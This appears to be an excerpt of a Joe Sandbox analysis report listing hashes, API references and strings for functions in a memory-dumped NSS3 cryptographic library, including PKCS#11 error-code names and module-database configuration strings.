Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: 4f618099d0df1c7c518f76e77d9fbd0a36a95ecc22dcfbf4c2526e81002f2551
Instruction ID: 441540ae2b979db1e1e496aca903bd458742c104d56e99f4f717db09b5e5e76c
Opcode Fuzzy Hash: 4f618099d0df1c7c518f76e77d9fbd0a36a95ecc22dcfbf4c2526e81002f2551
Instruction Fuzzy Hash: 2C513831F4907D8ADB1586FD8C603FFBBB19B87314F19432DC5A167AC0D238454A8792

Function 6C66EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C66F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C66F0F9

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 64765eafb7b2c7201f710252dfd3e308e019513f16a04aa5d197de4e8574f8b2
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 98919E75E0061A8BCB14CF69C8916AEB7F1FF85324F24472DD962A7BC0D730A905CB96

Function 6C692F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6C6B7929), ref: 6C692FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6C6B7929), ref: 6C692FE0

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 934f69d3fce357cef066404dd664d36a3861d6a556e06c54310bbe22de349aab
Instruction ID: 8203c765164e563165e6bcadc76b4959d1b5fc6cf10aef6781bdca269c3630f4
Opcode Fuzzy Hash: 934f69d3fce357cef066404dd664d36a3861d6a556e06c54310bbe22de349aab
Instruction Fuzzy Hash: 42514471A049138FCB10CE59C880BAA77B1FF85318F290139D90E9BB12D731EC46CB99

Function 6C69ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C69EE3D

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 84416202a5e71c56c133a5526da2cabce9d3cb8609732c05a5494f5607467f93
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: BC71E572E01B028FD718CF59D8807AAB7F2BF98304F15462ED85A97B91D730E901CB95

Function 6C5C5F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6C5C6013

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: f22e32aa8f7a6dc594de2b27e9a6f534e6db8687d34fb3302a4eabe65a9a9413
Instruction ID: 3db9656c2b003b497ad595ac829875c0a60d7c0dc6e98e68a12c36a467f6de6d
Opcode Fuzzy Hash: f22e32aa8f7a6dc594de2b27e9a6f534e6db8687d34fb3302a4eabe65a9a9413
Instruction Fuzzy Hash: 23C104B4B046068BDB04CED5CC907BAB7F2AF85318F64812CD9A5E7B41DB34E941CB92

Function 6C755E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6C755B90: PR_Lock.NSS3(00010000,?,00000000,?,6C63DF9B), ref: 6C755B9E
Part of subcall function 6C755B90: PR_Unlock.NSS3 ref: 6C755BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6C755E23,6C63E154), ref: 6C755EBF

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: 44f73d40787beffc7a4d6a63dc26e065948a5c97968f0d5178ad6507cd9da338
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: 90519D72E0021A8FDB18CF59C9819AEF3B2FF88314B59457DD815B7745EB30A951CBA0

Function 6C70DCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e5f4b4eb9891f50050df1767081baead6b33691255a95cce760888afe5338b7
Instruction ID: ede6a6c740636c6fa65ecdd0e6c99b0654ebad4ae9ef10f17c7d6f6ef7b64a3a
Opcode Fuzzy Hash: 7e5f4b4eb9891f50050df1767081baead6b33691255a95cce760888afe5338b7
Instruction Fuzzy Hash: 66F158B1B012058FDB08CF19D584BAA77F2BF89318F298178D8599B751DB31EC42CB91

Function 6C6A1DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: fdeee5f1e9cb02c9d3b6feec69b6a22b14f5727632d9c84a184d709eec534c40
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: B1D15832E486568BDB118E99C8843DA7763AB85328F1D4328CD781B7C6C37A9D07C7D4

Function 6C638EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1742ba5916e2053bc99d5b71274bb3a2271c8b57548e4c7d8d81518e46fe557
Instruction ID: 52a03698498aee2705a1b02c81bede4665719e58c6521afd145190a111185dd0
Opcode Fuzzy Hash: f1742ba5916e2053bc99d5b71274bb3a2271c8b57548e4c7d8d81518e46fe557
Instruction Fuzzy Hash: DD11B672A002258BD704CF15D8847DAB7A5BF85358F14727BD409CFA61C775D886C7C5

Function 6C710C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cd39fe7b89f391f4d6cfb205fc3a3e27fb8579cf3b7a258f1255e9122008daf
Instruction ID: 9b7a1b23010dd0c21f3ef7670b7fa68c1124e1b6eecc074492844d40a4e1a2f2
Opcode Fuzzy Hash: 0cd39fe7b89f391f4d6cfb205fc3a3e27fb8579cf3b7a258f1255e9122008daf
Instruction Fuzzy Hash: 3411BF747082099FCB00DF18C8806AA77B1FF85368F18817DD8198BB01DB32E816CBA1

Function 6C683FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: adfff780922c3f5aa57f4058e22c84ef653a8492ea26b6ff5301fddb7c35e4d4
Instruction ID: ff0c9092c953b146ea265e5aa74ff81f095a0fb8a8ad51eaf7c00498303cc59d
Opcode Fuzzy Hash: adfff780922c3f5aa57f4058e22c84ef653a8492ea26b6ff5301fddb7c35e4d4
Instruction Fuzzy Hash: 3CF05E70A0475D8BCB10DF69C5515AAB7F8EF0A354F10962AEC89AB301EB30AAC4C7D1

Function 6C710D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 63155c67300950c9a37be2557313113daeb2049564b783108ae76d764a15b742
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 5BE0923A21A054A7DB148E09C556AA97359DF81619FBC807ECC9D9FE01D733F8138781

Function 6C63CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a82b183f897dd3e5f7f58a49b94591725a9376e25f2566169e254f271ea845c
Instruction ID: b1f3e1b6ea1738315e72d1230f5b59737bdaf7e64a6ce73c8f5d16c9cec3dd47
Opcode Fuzzy Hash: 5a82b183f897dd3e5f7f58a49b94591725a9376e25f2566169e254f271ea845c
Instruction Fuzzy Hash: 53C09238244708CFC704DF49E489DA93BF8FF4D61070400A4EA028B721DB32FC00EA80

Function 6C671D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6C671D46), ref: 6C672345

Strings

CKR_DEVICE_MEMORY, xrefs: 6C671FF3
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6C671FD7
CKR_PIN_LOCKED, xrefs: 6C672075
CKR_PIN_EXPIRED, xrefs: 6C67206B
CKR_TEMPLATE_INCOMPLETE, xrefs: 6C671F95
rv = %s, xrefs: 6C672340
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6C6722FF
CKR_OPERATION_CANCEL_FAILED, xrefs: 6C671F77
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6C671F8B
rv = 0x%x, xrefs: 6C672312
CKR_SIGNATURE_LEN_RANGE, xrefs: 6C6720D9
CKR_OPERATION_ACTIVE, xrefs: 6C6722B8
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6C67226B
CKR_SIGNATURE_INVALID, xrefs: 6C6720CF
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6C672275
CKR_NEW_PIN_MODE, xrefs: 6C671E9F
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6C671DE0
CKR_INFORMATION_SENSITIVE, xrefs: 6C6722B1
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6C67218D
CKR_FUNCTION_CANCELED, xrefs: 6C671E73
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6C672293, 6C67233F
CKR_RANDOM_NO_RNG, xrefs: 6C6722A7
CKR_MUTEX_BAD, xrefs: 6C671F49
CKR_NEXT_OTP, xrefs: 6C67222F
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6C672015
CKR_PIN_LEN_RANGE, xrefs: 6C672061
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6C672327
CKR_SAVED_STATE_INVALID, xrefs: 6C671E56
CKR_WRAPPED_KEY_INVALID, xrefs: 6C671FB5
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6C672319
CKR_FUNCTION_REJECTED, xrefs: 6C672289
CKR_OK, xrefs: 6C671DFC
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6C67232E
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6C672320
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6C67227F
CKR_DEVICE_ERROR, xrefs: 6C67229D
CKR_OBJECT_HANDLE_INVALID, xrefs: 6C67204D
CKR_CURVE_NOT_SUPPORTED, xrefs: 6C672179
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6C671F0F
CKR_PIN_INVALID, xrefs: 6C672057
CKR_BUFFER_TOO_SMALL, xrefs: 6C672183
CKR_TOKEN_NOT_PRESENT, xrefs: 6C671F81
CKR_MUTEX_NOT_LOCKED, xrefs: 6C672225
CKR_TEMPLATE_INCONSISTENT, xrefs: 6C671EE1
CKR_DEVICE_REMOVED, xrefs: 6C672261
CKR_STATE_UNSAVEABLE, xrefs: 6C672037
CKR_PIN_INCORRECT, xrefs: 6C671D92

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: 964b1c4e58df12bd0944b67787cceb3383ad90b107488e014ee95bd9857ffda7
Instruction ID: 525ffeeaf22a37b9e084867a9d9ff6e94857be875c0eb096694a81246b07bacc
Opcode Fuzzy Hash: 964b1c4e58df12bd0944b67787cceb3383ad90b107488e014ee95bd9857ffda7
Instruction Fuzzy Hash: CD61263064F044C6E67C445D92BE3AC2365B703324F648D3BE7968EE52D6ADCA4246BF

Function 6C6A5DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6C6A5E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C6A5E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6C6A5E5C
free.MOZGLUE(00000000), ref: 6C6A5E7E
free.MOZGLUE(00000000), ref: 6C6A5E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6C6A5EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6C6A5EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C6A5ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6C6A5EF0
free.MOZGLUE(00000000), ref: 6C6A5F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C6A5F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6C6A5F5B
free.MOZGLUE(00000000), ref: 6C6A5F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6C6A5FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6C6A5FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C6A5FC4
free.MOZGLUE(00000000), ref: 6C6A5FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C6A5FE9
free.MOZGLUE(00000000), ref: 6C6A5FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C6A600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A6027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6C6A605A
PR_smprintf.NSS3(6C77AAF9,00000000), ref: 6C6A606A
free.MOZGLUE(00000000), ref: 6C6A607C
free.MOZGLUE(00000000), ref: 6C6A609A
free.MOZGLUE(00000000), ref: 6C6A60B2
free.MOZGLUE(?), ref: 6C6A60CE

Strings

%s/%s, xrefs: 6C6A6055
secmod.db, xrefs: 6C6A5EA0
noModDB, xrefs: 6C6A5EEA
flags, xrefs: 6C6A5E3A, 6C6A5EC6, 6C6A5F30
pkcs11.txt, xrefs: 6C6A5F47, 6C6A5F7C, 6C6A603A, 6C6A6053
readOnly, xrefs: 6C6A5E56
secmod=, xrefs: 6C6A5FB1
forceSecmodChoice, xrefs: 6C6A5F55
configDir=, xrefs: 6C6A5F9D

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: e963644eceecac89c9d6a1b3652e652621c3b315e3b93f551f2b52fb7ca64ac7
